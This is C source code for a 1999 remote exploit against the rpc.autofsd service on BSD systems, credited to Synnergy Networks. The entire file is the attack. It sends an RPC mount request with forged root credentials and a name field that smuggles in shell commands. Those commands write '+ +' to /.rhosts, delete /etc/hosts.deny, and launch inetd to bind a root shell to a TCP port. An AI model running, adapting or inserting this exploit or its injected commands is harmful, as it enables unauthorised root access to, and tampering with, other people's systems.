// *** Synnergy Networks // * Description: // // Remote exploit for rpc.autofsd on BSD. This will attempt to put a root shell // on tcp port 530. // * Author: // // guidob (guidob@synnergy.net) // Synnergy Networks (c) 1999, http://www.synnergy.net // * Greets: // // Synnergy Networks, LoU, Cindy // * Comments: // // This will not work on all types and/or versions. // *** Synnergy Networks #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define AUTOFS_PROG ((u_long)100099) #define AUTOFS_VERS ((u_long)1) #define AUTOFS_MOUNT ((u_long)1) #define AT 8 #define A_MAXNAME 255 #define A_MAXOPTS 255 #define A_MAXPATH 1024 struct mntrequest { char *name; /* name to be looked up */ char *map; /* map to use [2000]*/ char *opts; /* default options[2000]*/ char *path; /* mountpoint to use */ }; struct mntres { int status; /* 0=OK, otherwise an errno from */ }; bool_t xdr_mntrequest(XDR *xdrs,struct mntrequest *objp){ if (!xdr_string(xdrs, &objp->name, A_MAXNAME)) return (FALSE); if (!xdr_string(xdrs, &objp->map, A_MAXNAME)) return (FALSE); if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS)) return (FALSE); if (!xdr_string(xdrs, &objp->path, A_MAXPATH)) return (FALSE); return (TRUE); } void signal_handler(void) { exit(0); } bool_t xdr_mntres(XDR *xdrs,struct mntres *objp){ if (!xdr_int(xdrs, &objp->status)) return (FALSE); return (TRUE); } main(int argc, char **argv){ CLIENT *cl; struct mntrequest mntreq; struct mntres *res; struct sockaddr_in target; struct hostent *hp; struct timeval tm; char *host; enum clnt_stat stat; int sd; signal(SIGALRM, signal_handler); alarm(AT); host=argv[1]; if ((target.sin_addr.s_addr = inet_addr(host)) == -1) { if ((hp = gethostbyname(host)) == NULL) { printf("%s: cannot resolve\n", host); exit(1); } else target.sin_addr.s_addr = *(u_long *)hp->h_addr; } target.sin_family=AF_INET; target.sin_port=0; sd=RPC_ANYSOCK; tm.tv_sec=8; tm.tv_usec=0; if((cl=clntudp_create(&target,AUTOFS_PROG,AUTOFS_VERS,tm,&sd))==NULL) { clnt_pcreateerror("clnt_create"); exit(0); } cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); tm.tv_sec = 25; /* echo "courier stream tcp nowait root /bin/sh sh -i" > /tmp/bob;inetd /tmp/bob */ mntreq.name=";echo '+ +' > /.rhosts;rm -rf /etc/hosts.deny; echo \"courier stream tcp nowait root /bin/sh sh -i\" > /tmp/bob;inetd /tmp/bob"; mntreq.map="/bin/true"; mntreq.path="/hosts"; mntreq.opts=""; bzero((char *)&res, sizeof(res)); if ((stat = clnt_call(cl, AUTOFS_MOUNT, (xdrproc_t)xdr_mntrequest,&mntreq, (xdrproc_t)xdr_mntres, &res, tm)) != RPC_SUCCESS) { clnt_perror(cl, "clnt_call"); exit(1); } clnt_destroy(cl); } // EOF /* www.hack.co.za [21 July 2000]*/